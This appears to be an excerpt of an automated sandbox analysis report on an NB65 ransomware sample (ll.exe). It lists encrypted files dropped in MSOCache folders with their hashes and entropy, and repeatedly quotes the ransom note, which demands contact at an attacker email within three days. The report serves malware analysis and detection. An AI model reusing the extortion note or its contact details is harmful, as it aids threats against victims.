..2.h...."..D.....T.R.]}_.T...L..&A.....2.......|h.0..m...Wr....m~....:.p..q.0zD4`...u...D.K....4..b.9.;..Z....r.l.~..g.&.v........QX.A1.E..|i...3..<|...~.N.m...X6.4..wo.......L.]i.maE.w.#.........Q....V..I..).rh5..4.;....6..*{....Gr.wE.+..A.y..>..5..Gc.......i.....k.l'|D...pD.G.}.D...B<p.A.. X....5..O...;u<...dA...I^+.2u..s.)....`l?.

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\OWOW64LR.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2060991
Entropy (8bit):7.999597549808044
Encrypted:true
SSDEEP:
MD5:AEE600B56EDABD3B6285A8BC05FC8B7C
SHA1:812610AAE6135E46F575877A9C5BF12D9BF59E66
SHA-256:1CD381A8E44285E95C3E7734B2E28379A77BEE256BEA8B145D05B7F405F0C035
SHA-512:7DFAA3F1960BB9811B01B85105F64BCD124E0B46251C021D5FB4792806FCA6B7DFE59CAAB47279CF693C66E9F2B2AED872E31AD0B46B397000EE121B866843A5
Malicious:true
Preview:./m..(bz.....&...9.+q.9..33u..K.......v.g.._.6./..i......)y!.Ws1.W...I...:.U.EW..P_.3......0e...&L..,.C....`....y&.5...0c.m(A.....!.E..O.U..~.*..bG...G..+.t;...>p..H....R"^....ZY.. ..$....L9.Z........L.6..y.6...w. ?.Z.PTV....a..."..-WN..k..N....SXWi.L.~...&..M...m\LU..^.w......Y.Z.;.0.7..z..c.....a$1..R.w....m...d@0n.{*h..o.Q#A... W\..}....|t......Ky.l...i..,=..$S...p.......M..{.....R.... ..r..o.p..W..'..{.....I...t>c5e....>..- .A%x&^@k.".5!......q.\%..}...A*P4I.t>&;#....>M.DR..0..6=...JJ2...=F.*7.\`.*@..gR...=.......=A......7G...-df.'.E7..v3.D3<g.A.&.,....M.|k.-%.M.zU..".2.a`..._...u_.b.=.]...G|.y.....&..B.w.H.>(....M. .....*..i.e.^.}L..._Mo.....X$.I..@.].m.Z}...\..o......8.~ Z|....!P..........x+.........9.....w.H..+ .@...5w>.......e...E...Go^V;....B1..m..[4[..K.\...Z.2w.sEP.XE..T0R...../'..;..e........m....s).[....cp..5r...P....P.B...0..#...Ch*.u....<j...(...y.Ph..../..S...)..n2....U..M..........6v4....3..s....x.Q......y^.IM`B..mV..f$..>

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\OWOW64LR.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2060991
Entropy (8bit):7.999597549808044
Encrypted:true
SSDEEP:
MD5:AEE600B56EDABD3B6285A8BC05FC8B7C
SHA1:812610AAE6135E46F575877A9C5BF12D9BF59E66
SHA-256:1CD381A8E44285E95C3E7734B2E28379A77BEE256BEA8B145D05B7F405F0C035
SHA-512:7DFAA3F1960BB9811B01B85105F64BCD124E0B46251C021D5FB4792806FCA6B7DFE59CAAB47279CF693C66E9F2B2AED872E31AD0B46B397000EE121B866843A5
Malicious:true
Preview:./m..(bz.....&...9.+q.9..33u..K.......v.g.._.6./..i......)y!.Ws1.W...I...:.U.EW..P_.3......0e...&L..,.C....`....y&.5...0c.m(A.....!.E..O.U..~.*..bG...G..+.t;...>p..H....R"^....ZY.. ..$....L9.Z........L.6..y.6...w. ?.Z.PTV....a..."..-WN..k..N....SXWi.L.~...&..M...m\LU..^.w......Y.Z.;.0.7..z..c.....a$1..R.w....m...d@0n.{*h..o.Q#A... W\..}....|t......Ky.l...i..,=..$S...p.......M..{.....R.... ..r..o.p..W..'..{.....I...t>c5e....>..- .A%x&^@k.".5!......q.\%..}...A*P4I.t>&;#....>M.DR..0..6=...JJ2...=F.*7.\`.*@..gR...=.......=A......7G...-df.'.E7..v3.D3<g.A.&.,....M.|k.-%.M.zU..".2.a`..._...u_.b.=.]...G|.y.....&..B.w.H.>(....M. .....*..i.e.^.}L..._Mo.....X$.I..@.].m.Z}...\..o......8.~ Z|....!P..........x+.........9.....w.H..+ .@...5w>.......e...E...Go^V;....B1..m..[4[..K.\...Z.2w.sEP.XE..T0R...../'..;..e........m....s).[....cp..5r...P....P.B...0..#...Ch*.u....<j...(...y.Ph..../..S...)..n2....U..M..........6v4....3..s....x.Q......y^.IM`B..mV..f$..>

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\Office64MUI.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2444
Entropy (8bit):7.919281322136706
Encrypted:false
SSDEEP:
MD5:3D87B2D0F5F150CF58A50FAAA9FCA99A
SHA1:DA153B45803BB9EC739F45EC5E2B20726A574FFD
SHA-256:094D21C65C3E6C28F06E176A84FEFEA62C127D717AE9AD78927EE4DA2316B1EC
SHA-512:AE606679AD06E9ACB20C84F73809FC1056CDDDF845CFA61879E671F9F59781BA465CE412E97C7F387E59FC4C3EA19D4F67985434D61664556052FFB0FE603D20
Malicious:false
Preview:.'|f.!.d.7u.sI,..E.oy.B..t....Sj{.*..f.~&...X..f...D....?..yN4{.............A5.X..C.L.6z..).......s.&{..!..k...-b.a@P{.A).~|@8......D.h.!.$..Df.7.+1!..<....AR....Z,.6.....%./I....._...7Fh^E-6.h.mZ.,......a.}..S./}..E....w.....%Q^`....+?.#.."wt.<.*..I...e..t.j,...m....j...?...[...8..i.3.QIl.k..U....l...tP!..>9....7..:.k......k.5B..*...%...Z.....IT.i....ky{....V'.cc.etF1S.u$.EX..,.vBN*.4T....RQ.S....G.k........:........\.i...z.....~.P....]sp..]5..J_:.(.f.j.l..m..\.,v<......a..V..v..;|H..^l..)(g.0.A.".lRy.S..Xo.o.....E.<.....y#1.cFL.Ad.X>..7Z.Q.\......5.[............[....dC.|......rY..u-.:.v./...\......ni.*....O...v.f....UZr..{.qIU...O..Y.j.a.......E...LE.^<.7.*..+O......l4.E.(...,".E.Z....$.r..l........(J~.....F...K(i,..,.uC..T..[. }.4...^..Sh.q.%5}.Z.X. ,.....@.[U...f..R..2..@._$(.x.J%.x...yM...z.L.B|_....U........p....+.F.!oKv]m.w<....8..{...}.z...@...AJ...H.M..17.D..j.0.#e.>.9..]FF...:.p.m5.....e...d.b.dGz.....R...f..>..qo.w..h8..._...-..

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\Office64MUI.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2444
Entropy (8bit):7.919281322136706
Encrypted:false
SSDEEP:
MD5:3D87B2D0F5F150CF58A50FAAA9FCA99A
SHA1:DA153B45803BB9EC739F45EC5E2B20726A574FFD
SHA-256:094D21C65C3E6C28F06E176A84FEFEA62C127D717AE9AD78927EE4DA2316B1EC
SHA-512:AE606679AD06E9ACB20C84F73809FC1056CDDDF845CFA61879E671F9F59781BA465CE412E97C7F387E59FC4C3EA19D4F67985434D61664556052FFB0FE603D20
Malicious:false
Preview:.'|f.!.d.7u.sI,..E.oy.B..t....Sj{.*..f.~&...X..f...D....?..yN4{.............A5.X..C.L.6z..).......s.&{..!..k...-b.a@P{.A).~|@8......D.h.!.$..Df.7.+1!..<....AR....Z,.6.....%./I....._...7Fh^E-6.h.mZ.,......a.}..S./}..E....w.....%Q^`....+?.#.."wt.<.*..I...e..t.j,...m....j...?...[...8..i.3.QIl.k..U....l...tP!..>9....7..:.k......k.5B..*...%...Z.....IT.i....ky{....V'.cc.etF1S.u$.EX..,.vBN*.4T....RQ.S....G.k........:........\.i...z.....~.P....]sp..]5..J_:.(.f.j.l..m..\.,v<......a..V..v..;|H..^l..)(g.0.A.".lRy.S..Xo.o.....E.<.....y#1.cFL.Ad.X>..7Z.Q.\......5.[............[....dC.|......rY..u-.:.v./...\......ni.*....O...v.f....UZr..{.qIU...O..Y.j.a.......E...LE.^<.7.*..+O......l4.E.(...,".E.Z....$.r..l........(J~.....F...K(i,..,.uC..T..[. }.4...^..Sh.q.%5}.Z.X. ,.....@.[U...f..R..2..@._$(.x.J%.x...yM...z.L.B|_....U........p....+.F.!oKv]m.w<....8..{...}.z...@...AJ...H.M..17.D..j.0.#e.>.9..]FF...:.p.m5.....e...d.b.dGz.....R...f..>..qo.w..h8..._...-..

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\Office64MUISet.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1570
Entropy (8bit):7.860322024601165
Encrypted:false
SSDEEP:
MD5:E6C3FEC6CDF4704DF8AD14B6058152B1
SHA1:E6ED02BAC05658260B932B5BE16C5B710A20DD01
SHA-256:91321132E75C20979E4D0F8BC5C00AED88B7B799121E414306ABF7EA79B2898E
SHA-512:E4F6BC98FC8806CA0BD1684717109D577A83FB14CFE764FA5F208B9719183DE479A9ADE961ABEB50BDCA5CF6ED240C3470657CA2FDADCC1AE59D6EAAE7BD4260
Malicious:false
Preview:.o..u..t..,..u ...{.+.e.Z.[Z..-..k.....=............#A.iVW.\.......&...$.^Y.j...vHM*..w....N...>...d.d..}/...X...e $..!.;N&...E6.?c..$.@.Y.>..k..m.5.?..j......gh...S.BK.m........(....x.IM..zf..9..4.N"..6aR..2...}U..ypP.."._Sw.|......w....y.A...d..BcLD...W...}..5..:..0.))..........7...rk.t......_'^.......A..n...V..Y(j..a.Er..4s..iA......y$l.........M..&.........`.?.~p....2y.;....+.$..TFziji....9..U=6Dl..Ag.g.7......G".2..V8..O.v;(......E$.).7..\e......E5E}a.P.4....LMWz4F}.\..r1...V.!......m........J....s...$d.....$.o....w.g.-%...(.,g.f......e...EE.......[m&...Hr.rr*.a...y...<.P...z.5.....L..U.z./I$y4............{.p..N.>.[...Z,...<.Y1..6>p..q.......j.&>&*.Feg.D.+......&.&..1....O-.)i..M!....&.......&Jm\....3@...A...:...L...l<1.5.B..p.......F..7&..8H..O.-....I...1.>6.J1......../..].JspS.2.y...6.&.......vEs.b..=!*..Ws...gI.oH(XEz.)..9.....S.).b&g..{..)..c.cs.f.b...C`.B1.jFH].J..nq..I.....)P..8..gq:..>E5/`.^b.l(6.H..icM<.w. 3......"..(....V.Fe<..v

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\Office64MUISet.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1570
Entropy (8bit):7.860322024601165
Encrypted:false
SSDEEP:
MD5:E6C3FEC6CDF4704DF8AD14B6058152B1
SHA1:E6ED02BAC05658260B932B5BE16C5B710A20DD01
SHA-256:91321132E75C20979E4D0F8BC5C00AED88B7B799121E414306ABF7EA79B2898E
SHA-512:E4F6BC98FC8806CA0BD1684717109D577A83FB14CFE764FA5F208B9719183DE479A9ADE961ABEB50BDCA5CF6ED240C3470657CA2FDADCC1AE59D6EAAE7BD4260
Malicious:false
Preview:.o..u..t..,..u ...{.+.e.Z.[Z..-..k.....=............#A.iVW.\.......&...$.^Y.j...vHM*..w....N...>...d.d..}/...X...e $..!.;N&...E6.?c..$.@.Y.>..k..m.5.?..j......gh...S.BK.m........(....x.IM..zf..9..4.N"..6aR..2...}U..ypP.."._Sw.|......w....y.A...d..BcLD...W...}..5..:..0.))..........7...rk.t......_'^.......A..n...V..Y(j..a.Er..4s..iA......y$l.........M..&.........`.?.~p....2y.;....+.$..TFziji....9..U=6Dl..Ag.g.7......G".2..V8..O.v;(......E$.).7..\e......E5E}a.P.4....LMWz4F}.\..r1...V.!......m........J....s...$d.....$.o....w.g.-%...(.,g.f......e...EE.......[m&...Hr.rr*.a...y...<.P...z.5.....L..U.z./I$y4............{.p..N.>.[...Z,...<.Y1..6>p..q.......j.&>&*.Feg.D.+......&.&..1....O-.)i..M!....&.......&Jm\....3@...A...:...L...l<1.5.B..p.......F..7&..8H..O.-....I...1.>6.J1......../..].JspS.2.y...6.&.......vEs.b..=!*..Ws...gI.oH(XEz.)..9.....S.).b&g..{..)..c.cs.f.b...C`.B1.jFH].J..nq..I.....)P..8..gq:..>E5/`.^b.l(6.H..icM<.w. 3......"..(....V.Fe<..v

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3656
Entropy (8bit):7.946050704672264
Encrypted:false
SSDEEP:
MD5:6A65991FB2DB9E7593DCD00AB1F96165
SHA1:7595891F6F1B875D79B6B0C58BC746D6ADA346FE
SHA-256:6AFDACFA036E9D9D96966B6AD0986FE429C0D6D000B3B99B788D4E2C1ECC6106
SHA-512:9AEA53340A527511F802BED6F034575E2CB4659E2155CFC7AEDC7D6CE81F3C6121AAD3D43230C78205E97079F389FF0A1EB57A050DAA341E0F20E27F2AC9103B
Malicious:false
Preview:+E=..R.$..ut).B.+.D.....:\].V.mH.y.....E...q.S.M.-e....!c\...))....A^..!8.D..3.....7.5.d.3D....<.E...1%a-t%.|.....I...AN...D.X.;F~W%...?.O.._...`+M.{.(.L.#.#...3:...n..r...x..n....d...a._8.. .Z0.@Z.>.HA#...).P.R..MC.Q.U.V..x.....I.x.w.r..k....k...|.\..o..$C,...%....X.*...'......./..".H.h@jP..`/R.....?.Z...I..X.o..q6.>.^YZ.Y.../^...q.!q)............w*.=>R:W.<.D.'.....?.i7.=..F.;,.....F!..W0p..L....A.;D.......*..3.....w....qG.......a.X-...W.W..M.wN5....J{..t9..|..&F3qG....t.!.s..I...Oa.....P...7}...+z.V..=o.HA...T.XM.R.\{.7.$......]'~...D."uc...8.m...1.t...Y<.I.!i.X.]|_%X....L.A.3I...U'.{.k.sV`.xE..+...{.D...&hJb..]W...uu.6.X.....j.;......<.w..<%.(...tz....h.^7cf.U...........[B...p.X..c...9.Eo\..u...b..#&..$..R:.......>..2..K.....zeq.R.W.)..[..'O}v....L*c.,.*.b.>....f.....!x.s,.h..>....k.("&s.....=......#....2e+.#W....|.4.+...H2.........3.......p..R5....F.a..=m.e..t..........k...4. ..kv..v.....w.'.[H*.G....]..K..!..........]:nNX.l.-.R....

C:\MSOCache\All Users\{90160000-0116-0409-1000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3656
Entropy (8bit):7.946050704672264
Encrypted:false
SSDEEP:
MD5:6A65991FB2DB9E7593DCD00AB1F96165
SHA1:7595891F6F1B875D79B6B0C58BC746D6ADA346FE
SHA-256:6AFDACFA036E9D9D96966B6AD0986FE429C0D6D000B3B99B788D4E2C1ECC6106
SHA-512:9AEA53340A527511F802BED6F034575E2CB4659E2155CFC7AEDC7D6CE81F3C6121AAD3D43230C78205E97079F389FF0A1EB57A050DAA341E0F20E27F2AC9103B
Malicious:false
Preview:+E=..R.$..ut).B.+.D.....:\].V.mH.y.....E...q.S.M.-e....!c\...))....A^..!8.D..3.....7.5.d.3D....<.E...1%a-t%.|.....I...AN...D.X.;F~W%...?.O.._...`+M.{.(.L.#.#...3:...n..r...x..n....d...a._8.. .Z0.@Z.>.HA#...).P.R..MC.Q.U.V..x.....I.x.w.r..k....k...|.\..o..$C,...%....X.*...'......./..".H.h@jP..`/R.....?.Z...I..X.o..q6.>.^YZ.Y.../^...q.!q)............w*.=>R:W.<.D.'.....?.i7.=..F.;,.....F!..W0p..L....A.;D.......*..3.....w....qG.......a.X-...W.W..M.wN5....J{..t9..|..&F3qG....t.!.s..I...Oa.....P...7}...+z.V..=o.HA...T.XM.R.\{.7.$......]'~...D."uc...8.m...1.t...Y<.I.!i.X.]|_%X....L.A.3I...U'.{.k.sV`.xE..+...{.D...&hJb..]W...uu.6.X.....j.;......<.w..<%.(...tz....h.^7cf.U...........[B...p.X..c...9.Eo\..u...b..#&..$..R:.......>..2..K.....zeq.R.W.)..[..'O}v....L*c.,.*.b.>....f.....!x.s,.h..>....k.("&s.....=......#....2e+.#W....|.4.+...H2.........3.......p..R5....F.a..=m.e..t..........k...4. ..kv..v.....w.'.[H*.G....]..K..!..........]:nNX.l.-.R....

C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\AccessMUISet.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1566
Entropy (8bit):7.869835361370443
Encrypted:false
SSDEEP:
MD5:554BFEAE8ACB2BFA8DB7753EDB1AA067
SHA1:898C8FB09158A492B98E20C8318F92F2175EC307
SHA-256:F9281D27FFF194F96D721136BB23E22810204B984D00967296A83C3BA6667FC6
SHA-512:3E7D466865E604FE0508089FE30CC640E1658380DFC3B232AA01F2DD8A4E34402B3025B70DEDD95E8665601F1D625AC97FEE47F933B1636D620463826619F023
Malicious:false
Preview:.I..nJ.W9..q.....Xg.+4%...K.tb....f{.pyp..hP)?d...L..%p.8....N...X.t=@`.H.....].<.c...5\...0....W..3F<.F%'...W.S._Ss..2F.....L.7f.h.Z.b'-.."..kZ0.7...../K.Q...;...i.|.._..W.-p..h..r......_........}.;v...L<N.}......%5.h.......t..$..D>.Q....{A)....S.3.~.@....$lZE.(6...<#.w.'WN.P[`zz-...[ .a." .>)...+.&......t.1..~3..GE..P6E..o..U...8T.,...*.u.?Cfg..:...;.\._qW.W~.O.dA...[.........g.,....._..C.W'.v...Z..c.h*....o...n..a~...a.L...9L"p..S..g0.+.3.w.......kp...../o....KO....3R.P.*......L@i~.f.V...o,s......9p.1..^..Y..J.I...;^..8...%e.&+...;ZE.# G....e..8q.0.Z.....L.v..p.fp.i.....[X`..oO1.7.Ie.=..........g./A(...9........bP+C.._.c.....n...8..?V..G...^...v....L.-.......I..(Qy6..,3..a.1\C.`.....E...\.....#/;.<.o.....n...2..xl.6U..t....<..,..FS.......U.F...a..U3..N...r8.z7....y:..=.".....A.T..c..8...\Y..Y.....)pg..)3m!......hU.[.{........\7P.).*(...i.}..P..F.......Rm...._N.r..3R..+.....4..9..T.d.#`NR..@...........I.c.8.5...U....n...=,...n...qC(....

C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\AccessMUISet.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1566
Entropy (8bit):7.869835361370443
Encrypted:false
SSDEEP:
MD5:554BFEAE8ACB2BFA8DB7753EDB1AA067
SHA1:898C8FB09158A492B98E20C8318F92F2175EC307
SHA-256:F9281D27FFF194F96D721136BB23E22810204B984D00967296A83C3BA6667FC6
SHA-512:3E7D466865E604FE0508089FE30CC640E1658380DFC3B232AA01F2DD8A4E34402B3025B70DEDD95E8665601F1D625AC97FEE47F933B1636D620463826619F023
Malicious:false
Preview:.I..nJ.W9..q.....Xg.+4%...K.tb....f{.pyp..hP)?d...L..%p.8....N...X.t=@`.H.....].<.c...5\...0....W..3F<.F%'...W.S._Ss..2F.....L.7f.h.Z.b'-.."..kZ0.7...../K.Q...;...i.|.._..W.-p..h..r......_........}.;v...L<N.}......%5.h.......t..$..D>.Q....{A)....S.3.~.@....$lZE.(6...<#.w.'WN.P[`zz-...[ .a." .>)...+.&......t.1..~3..GE..P6E..o..U...8T.,...*.u.?Cfg..:...;.\._qW.W~.O.dA...[.........g.,....._..C.W'.v...Z..c.h*....o...n..a~...a.L...9L"p..S..g0.+.3.w.......kp...../o....KO....3R.P.*......L@i~.f.V...o,s......9p.1..^..Y..J.I...;^..8...%e.&+...;ZE.# G....e..8q.0.Z.....L.v..p.fp.i.....[X`..oO1.7.Ie.=..........g./A(...9........bP+C.._.c.....n...8..?V..G...^...v....L.-.......I..(Qy6..,3..a.1\C.`.....E...\.....#/;.<.o.....n...2..xl.6U..t....<..,..FS.......U.F...a..U3..N...r8.z7....y:..=.".....A.T..c..8...\Y..Y.....)pg..)3m!......hU.[.{........\7P.).*(...i.}..P..F.......Rm...._N.r..3R..+.....4..9..T.d.#`NR..@...........I.c.8.5...U....n...=,...n...qC(....

C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\Setup.xml

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3118
Entropy (8bit):7.934830746014592
Encrypted:false
SSDEEP:
MD5:A2806972A0276A890EFB901DB003BA25
SHA1:44F2E0A86763ADB428239305F5B993A67F48495D
SHA-256:C3EF9A0D2BEC564B9121F09EB93A93C67EB5EE6C82E69AD7F67562199DC3CC7D
SHA-512:A46B14EB4E17708C89DE8FACA47376CE740491881C26D5E38C7005EB699715CAA5FB9BA6DA676480FE4D6C5D44C05F7C0D5B34C748D115B8972645E0D6991DDC
Malicious:false
Preview:.Vs@{A....5o9..!'..;....=......W?.(..]..S..t.=\..Q3ed._.9U.:..Q...'S....uvF7.....kG.k...(?`=.M...M.Y...g.F.C=..&.=0..../.U..).U.J...m?G..;.......;n1....]%<3$._.2x....T.Wu....Guu.kP%fd.m.X.k.7.Tv.....V7...e....{.M?r..*P3n.}(...HyO....v.....$..p.Z&~..J.....p...~...^...a.&...D....G6..}.....M...p4....I....[....Aj...S....h...(Bk{.]...i..[.a..^{._..:9....&......-.{.}s.|h.4.X..s5.Z...l.+m-.k..f.RhT.%C-.l;.I..:...V..\H.Y:.*=XP.).[.....~%uW.h.v.X&.....@{...g..%.I]....0........x......?&....g..(..4..'....>H..?~|..%.jL.T."".b&x..B..-a...."..6...[4...+.A..(......`.0.TJ.........K...qm.....?c.8....'...AB....;.z(.{.".Xw...y.*.......;'.\....\Z.N....M.....J..Z..M........;w.$...8.#....#X}#......5..c5Z...&.|.q.f.Bf.A1TH.....a..f.R..]..c%U.g..M......m=.y.M.J....a..!...Pw.G;.UoD..w..]............IS..0+Fyug....~.}.N.oU.g.).S..LIz..;..KN.S8h.2h.h..,..P.\..}.T,.Rl.S.X....]`s..g.3.ch@Y..:..NV.'.xt40U...N...P>].?...0,..E..R...8|.m.....(...d.8.....XHh.6

C:\MSOCache\All Users\{90160000-0117-0409-0000-0000000FF1CE}-C\Setup.xml.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3118
Entropy (8bit):7.934830746014592
Encrypted:false
SSDEEP:
MD5:A2806972A0276A890EFB901DB003BA25
SHA1:44F2E0A86763ADB428239305F5B993A67F48495D
SHA-256:C3EF9A0D2BEC564B9121F09EB93A93C67EB5EE6C82E69AD7F67562199DC3CC7D
SHA-512:A46B14EB4E17708C89DE8FACA47376CE740491881C26D5E38C7005EB699715CAA5FB9BA6DA676480FE4D6C5D44C05F7C0D5B34C748D115B8972645E0D6991DDC
Malicious:false
Preview:.Vs@{A....5o9..!'..;....=......W?.(..]..S..t.=\..Q3ed._.9U.:..Q...'S....uvF7.....kG.k...(?`=.M...M.Y...g.F.C=..&.=0..../.U..).U.J...m?G..;.......;n1....]%<3$._.2x....T.Wu....Guu.kP%fd.m.X.k.7.Tv.....V7...e....{.M?r..*P3n.}(...HyO....v.....$..p.Z&~..J.....p...~...^...a.&...D....G6..}.....M...p4....I....[....Aj...S....h...(Bk{.]...i..[.a..^{._..:9....&......-.{.}s.|h.4.X..s5.Z...l.+m-.k..f.RhT.%C-.l;.I..:...V..\H.Y:.*=XP.).[.....~%uW.h.v.X&.....@{...g..%.I]....0........x......?&....g..(..4..'....>H..?~|..%.jL.T."".b&x..B..-a...."..6...[4...+.A..(......`.0.TJ.........K...qm.....?c.8....'...AB....;.z(.{.".Xw...y.*.......;'.\....\Z.N....M.....J..Z..M........;w.$...8.#....#X}#......5..c5Z...&.|.q.f.Bf.A1TH.....a..f.R..]..c%U.g..M......m=.y.M.J....a..!...Pw.G;.UoD..w..]............IS..0+Fyug....~.}.N.oU.g.).S..LIz..;..KN.S8h.2h.h..,..P.\..}.T,.Rl.S.X....]`s..g.3.ch@Y..:..NV.'.xt40U...N...P>].?...0,..E..R...8|.m.....(...d.8.....XHh.6

C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\LyncMUI.cab

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2609140
Entropy (8bit):7.999844750062497
Encrypted:true
SSDEEP:
MD5:9E40041985D76574390C16C643F328CE
SHA1:BA24CA500430356FD14445AB404FF3CC78D13AD6
SHA-256:20EA7823806713896AEDC3D852C927AA345A1DE6ADF936EFAF76C186B3E78C7A
SHA-512:5F7A694BAAF6310363764619CABD38DEDE2B54DFF18C9E64C2285914ECEC1F7020814BC04D210084985AD1599FAE04A7E380AB63F1F1CE046870B659B8BAC794
Malicious:true
Preview:.vl.Q!gW$.n....:.l...E.VD...i.vf...0~G<..|..(._O....:..n.E.wvt.....GAW%sCj..oI.=. ...K|.v...U10.9....I..LnM.H.S.V.y:R....a....,..n.K..d....z.wW<...V..DX..@.CK...7..g.`Cy.....7..Y....x...O....~......5Q.......@s..^.....S9x.y.ZP2z8'..@....Q....Z..:.!....7KY&....V.c..!...^.<.#g&..7...E.mh...KZ.&........GUF..A.*....m.R...6.F..xL...b.sx.V`...~........p{.b?.DKD.'5()..;.1..{....2Xp{#.(g..]..K........~keM._.c.z."..i4f>..H.)*...pc...5..R...}......Zq.s.&r....L..G1.\rY..,l......:..e.%..!...=...7...PT.x:^<|.E..&D.^ ..;.n.,CX..2...T.....w.5....cZ.J....@.$.<.c.?B.caD.H.'.........g<..N.h.....4.R+i(..8.X.&O.F.)8.(#cM&,...... ..KP>D.....f...J..%miO.......a.B[..Ky,.../4.4..G2+...|;.wG.%.G.O.r...BZ.....\.......IS.......O./...3EL.../`.[.4..X4._.-S..R.^.+...4...:..z....k...1;.....".p.. X.gU...$.. ..cs.jZ[\.jX[..6~(N"..(... ......'.....[%,..]3..Qz...>S......l. ..R.]..e...cy....XK.9!..5c!./..x?..Sl[d .;..1^.jh..D...e.b...q.....~....h.....A..f..........

C:\MSOCache\All Users\{90160000-012B-0409-0000-0000000FF1CE}-C\LyncMUI.cab.NB65 (copy)

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2609140
Entropy (8bit):7.999844750062497
Encrypted:true
SSDEEP:
MD5:9E40041985D76574390C16C643F328CE
SHA1:BA24CA500430356FD14445AB404FF3CC78D13AD6
SHA-256:20EA7823806713896AEDC3D852C927AA345A1DE6ADF936EFAF76C186B3E78C7A
SHA-512:5F7A694BAAF6310363764619CABD38DEDE2B54DFF18C9E64C2285914ECEC1F7020814BC04D210084985AD1599FAE04A7E380AB63F1F1CE046870B659B8BAC794
Malicious:true
